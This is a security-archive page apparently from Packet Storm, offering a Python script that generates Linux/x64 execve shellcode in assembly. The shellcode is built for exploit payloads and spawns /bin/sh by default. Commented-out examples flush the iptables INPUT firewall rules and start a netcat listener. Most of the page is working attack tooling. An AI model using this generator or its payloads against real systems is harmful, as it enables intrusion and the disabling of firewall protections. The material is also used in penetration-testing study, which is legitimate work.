Twenty Year Anniversary

Linux/x64 Assembly Shellcode Generator

Linux/x64 Assembly Shellcode Generator
Posted Apr 11, 2018
Authored by Andre Lima

This script is a Linux/x64 assembly shellcode generator.

tags | tool, shellcode
systems | linux
MD5 | 68b748b13b7a28aaf7b7f9fc0945b70d

Linux/x64 Assembly Shellcode Generator

Change Mirror Download
#!/usr/bin/env python
#
# Features:
# - Linux shellcode x64 assembly code generation
# - stack based (smaller payload size)
# - execve based
# - supports long commands (meaning bigger than an x64 register - 64 bits)
# - supports long parameters (meaning bigger than an x64 register - 64 bits)
# - one command only (execve will alter the current memory proc and when it exits there's no continuation)
# - supports command with up to 8 parameters
#
# Instructions
# - requires full path to the command
# - only one command is supported due to execve transforming the current process into a new one, loosing all previous context (any other instructions that would have been executed)
# - after having the x64 generated assembly code:
# - copy paste it into a file (in a Linux environment) - example.nasm
# - execute:
# nasm -felf64 example.nasm -o example.o && ld example.o -o example
#
# Author: Andre Lima @0x4ndr3
# https://pentesterslife.blog
#
########

command = "/bin/sh"
#command = "/sbin/iptables -F INPUT"
#command = "/bin/nc -lvp 3000"
#command = "/bin/echo 1 2 3 4 5 6 7 longparamparamparam"

def tohex(val, nbits):
return hex((val + (1 << nbits)) % (1 << nbits))

code = ""
code += "global _start\n"
code += "section .text\n"
code += "\n"
code += "_start:\n"
code += "push 59\n"
code += "pop rax\n"
code += "cdq\n"
code += "push rdx\n"

params = command.split(' ')
try:
params.remove('') # in case of multiple spaces in between params in the command - cleanup
except: # it throws an exception if it doesn't finds one
pass

if len(params[0]) % 8 != 0:
command = "/"*(8-len(params[0])%8) + params[0]

iters = len(command)/8 - 1
while iters >= 0:
block = command[iters*8:iters*8+8]
code += "mov rbx, 0x" + block[::-1].encode("hex") + "\n"
code += "push rbx\n"
iters -= 1

code += "push rsp\n"
code += "pop rdi\n"

aux_regs = ["r8","r9","r10","r11","r12","r13","r14","r15"]
i = 0
params = params[1:] # remove first element - command itself. we just want the params
if len(params) > len(aux_regs):
print "More than " + str(len(aux_regs)) + " parameters... Unsupported."
exit(1)
for p in params:
code += "push rdx\n"
if len(p) % 8 != 0:
p += "\x00"*(8-len(p)%8)
iters = len(p)/8 -1
while iters >= 0: # each param
block = p[iters*8:iters*8+8]
code += "mov rbx, 0x" + tohex(~int(block[::-1].encode("hex"),16),64)[2:2+16] + "\n"
code += "not rbx\n"
code += "push rbx\n"
iters -= 1
code += "push rsp\n"
code += "pop " + aux_regs[i] + "\n"
i += 1

code += "push rdx\n"
code += "push rsp\n"
code += "pop rdx\n"

while i>0:
i -= 1
code += "push " + aux_regs[i] + "\n"

code += "push rdi\n"
code += "push rsp\n"
code += "pop rsi\n"
code += "syscall\n"

print code


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    10 Files
  • 2
    Nov 2nd
    15 Files
  • 3
    Nov 3rd
    2 Files
  • 4
    Nov 4th
    2 Files
  • 5
    Nov 5th
    32 Files
  • 6
    Nov 6th
    27 Files
  • 7
    Nov 7th
    8 Files
  • 8
    Nov 8th
    9 Files
  • 9
    Nov 9th
    17 Files
  • 10
    Nov 10th
    2 Files
  • 11
    Nov 11th
    2 Files
  • 12
    Nov 12th
    33 Files
  • 13
    Nov 13th
    29 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close